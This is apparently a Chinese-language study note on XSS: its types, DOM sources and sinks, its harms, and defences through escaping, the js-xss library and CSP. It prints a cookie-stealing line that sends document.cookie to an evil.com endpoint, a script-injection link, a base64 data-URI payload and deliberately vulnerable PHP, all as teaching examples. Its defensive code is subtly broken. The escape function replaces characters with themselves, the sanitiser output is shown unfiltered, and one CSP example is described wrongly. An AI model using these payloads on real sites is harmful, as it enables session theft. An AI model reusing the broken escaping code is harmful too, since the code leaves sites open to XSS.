XSS · 前端筆記

[TOC] # 概述 XSS全稱是Cross Site Scripting，即跨站腳本，腳本主要有兩種類型：JavaScript和ActionScript。XSS發生在目標網頁的目標用戶的瀏覽器層面，當用戶瀏覽器渲染HTML文檔出現了不被預期的腳步并執行時，XSS就會發生。將XSS代碼放在awww.evil.com的alert.js上，將鏈接發給目標用戶： ``` http://www.foo.com/xss.html#document.write("<script/src=//www.evil.com/alert.js></script>") ``` 比如，盜取用戶Cookie的腳本： ``` new Image().src="http://www.evil.com/steal.php?steal.php?data="+escape(document.cookie) ``` # 類型 XSS有三類：反射類XSS（非持久型XSS）、存儲類XSS（持久型XSS）和DOM XSS。 ## 反射類XSS 發出請求時，XSS代碼出現在URL中，作為輸入提交到服務端，服務端解析后響應，在響應內容出現這段XSS代碼，最后瀏覽器解析執行。 **例子一：** http://www.foo.com/xss/reflect1.php的代碼 ``` <?php echo $_GET['x']; ?> ``` 輸入x的值未經過任何過濾就直接輸出，可以提交： ``` http://www.foo.com/xss/flect1php?x=<script>alert(1)</script> ``` 服務端解析時，echo完整輸出script>alert$1$</script>到響應體，然后瀏覽器解析執行。 **例子二：** http://www.foo.com/xss/reflect2.php的代碼 ``` <?php header('Location: '.$_GET['x']); ?> ``` 輸入x的值作為響應頭部的Location字段值輸出，發生跳轉時，觸發XSS的其中一種方式如下： ``` http://www.foo.com/book/reflect2.php?x=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ%2b ``` 跳轉到data:協議，text/html是MIME靈活Content-Type，表明文檔類型，base64指后面字符串的編碼方式，這段base64解碼后為 ``` <script>alert(document.domain)</script> ``` ## 存儲型XSS 存儲型XSS提交的XSS代碼會存儲在服務端（不管是數據庫、內存還是文件系統等），下次請求目標頁面時不用再提交XSS代碼。最典型的例子是留言板XSS，用戶提交一條包含XSS代碼的留言存儲到數據庫，目標用戶查看留言板，就觸發了XSS攻擊。 ## DOM XSS DOM XSS的XSS代碼不需要服務器解析響應的直接參與，觸發XSS靠的是瀏覽器端的DOM解析。 ### 常見的輸入點 * ducoment.URL * document.URLUnencoded * document.location$以及location的多個屬性$ * document.referrer * window.location$以及location的多個屬性$ * window.name * xhr請求返回的數據 * document.cookie * 表單項的值 ### 常見的輸出點有 * 直接輸出HTML內容、如 * document.write$...$ * document.writeln$...$ * document.body.innerHtml=... * 直接修改DOM樹（包括DHTML事件），如： * document.forms\[0\].action=...（以及其他集合，如：一些對象的src/href屬性等） * document.attachEvent$...$ * document.create$...$ * document.execCommand$...$ * document.body. ... $直接通過body對象訪問DOM$ * window.attachEvent$...$ * 替換document URL，如： * document.location=...（以及直接賦值給location的href、host、hostname屬性） * document.location.hostname=... * document.location.replace$...$ * document.location.assign$...$ * document.URL=... * window.navigator$...$ * 打開或修改新窗口，如： * document.open$...$ * window.open$...$ * window.location.href=...（以及直接賦值給location的href、host、hostname屬性） * 直接執行腳本，如： * eval$...$ * window.execScripteval$...$ * window.setIntervaleval$...$ * window.setTimeouteval$...$ # 哪里可以出現越來越多的客戶端軟件支持HTML解析和JavaScript解析，如HTML文檔、XML文檔、Flash、PDF、QQ、一些音樂播放器、一些瀏覽器的功能界面等。在不同域范圍內執行的XSS權限也不一樣。 # 危害 * 掛馬 * 盜取用戶Cookie * Dos（拒絕服務）客戶端瀏覽器 * 釣魚攻擊、高級釣魚技巧 * 編寫針對性的XSS病毒，刪除目標文章、惡意篡改數據、嫁禍 * 挾持用戶Web行為，甚至進一步滲透內網 * 爆發Web 2.0蠕蟲 * 蠕蟲式的DDoS攻擊 * 蠕蟲式掛馬攻擊、刷廣告、刷流量、破壞網上數據 # 防御 ## 轉義字符首先，對于用戶的輸入應該是永遠不信任的。最普遍的做法就是轉義輸入輸出的內容，對于引號、尖括號、斜杠進行轉義 ~~~ function escape(str) { str = str.replace(/&/g, '&') str = str.replace(/</g, '<') str = str.replace(/>/g, '>') str = str.replace(/"/g, '&quto;') str = str.replace(/'/g, ''') str = str.replace(/`/g, '`') str = str.replace(/\//g, '/') return str } ~~~ 通過轉義可以將攻擊代碼`<script>alert(1)</script>`變成 ~~~ // -> <script>alert(1)</script> escape('<script>alert(1)</script>') ~~~ 但是對于顯示富文本來說，顯然不能通過上面的辦法來轉義所有字符，因為這樣會把需要的格式也過濾掉。對于這種情況，通常采用白名單過濾的辦法，當然也可以通過黑名單過濾，但是考慮到需要過濾的標簽和標簽屬性實在太多，更加推薦使用白名單的方式。 ~~~ const xss = require('xss') let html = xss('<h1 id="title">XSS Demo</h1><script>alert("xss");</script>') // -> <h1>XSS Demo</h1><script>alert("xss");</script> console.log(html) ~~~ 以上示例使用了`js-xss`來實現，可以看到在輸出中保留了`h1`標簽且過濾了`script`標簽。 ## 內容安全策略（CSP）內容安全策略? ?([CSP](https://developer.mozilla.org/en-US/docs/Glossary/CSP "CSP: A CSP (Content Security Policy) is used to detect and mitigate certain types of website related attacks like XSS and data injections.")) 是一個額外的安全層，用于檢測并削弱某些特定類型的攻擊，包括跨站腳本 ([XSS](https://developer.mozilla.org/en-US/docs/Glossary/XSS "XSS: REDIRECT Cross-site scripting [en-US]"))?和數據注入攻擊等。無論是數據盜取、網站內容污染還是散發惡意軟件，這些攻擊都是主要的手段。 CSP 被設計成完全向后兼容（除CSP2 在向后兼容有明確提及的不一致;? 更多細節查看[這里](https://www.w3.org/TR/CSP2)?章節1.1）。不支持CSP的瀏覽器也能與實現了CSP的服務器正常合作，反之亦然：不支持 CSP 的瀏覽器只會忽略它，如常運行，默認為網頁內容使用標準的同源策略。如果網站不提供 CSP 頭部，瀏覽器也使用標準的[同源策略](https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy "En/Same origin policy for JavaScript")。為使CSP可用, 你需要配置你的網絡服務器返回 ?[`Content-Security-Policy`](https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Content-Security-Policy "此頁面仍未被本地化, 期待您的翻譯!")??HTTP頭部 ( 有時你會看到一些關于`X-Content-Security-Policy`頭部的提法, 那是舊版本，你無須再如此指定它)。除此之外,?[`<meta>`](https://developer.mozilla.org/zh-CN/docs/Web/HTML/Element/meta "HTML ?元素表示那些不能由其它HTML元相關元素?(, , , 或 ) 之一表示的任何元數據信息.")? 元素也可以被用來配置該策略 ### 使用CSP 常可以通過兩種方式來開啟 CSP： 1. 設置 HTTP Header 中的`Content-Security-Policy` 2. 設置`meta`標簽的方式`<meta http-equiv="Content-Security-Policy">` 這里以設置 HTTP Header 來舉例 * 只允許加載本站資源 ~~~ Content-Security-Policy: default-src ‘self’ ~~~ * 只允許加載 HTTPS 協議圖片 ~~~ Content-Security-Policy: img-src https://* ~~~ * 允許加載任何來源框架 ~~~ Content-Security-Policy: child-src 'none' ~~~ # 參考資料 [內容安全策略( CSP ) - HTTP | MDN](https://developer.mozilla.org/zh-CN/docs/Web/HTTP/CSP) [前端面試之道 - 掘進小冊](https://juejin.im/book/5bdc715fe51d454e755f75ef/section/5bdc721851882516c33430a2)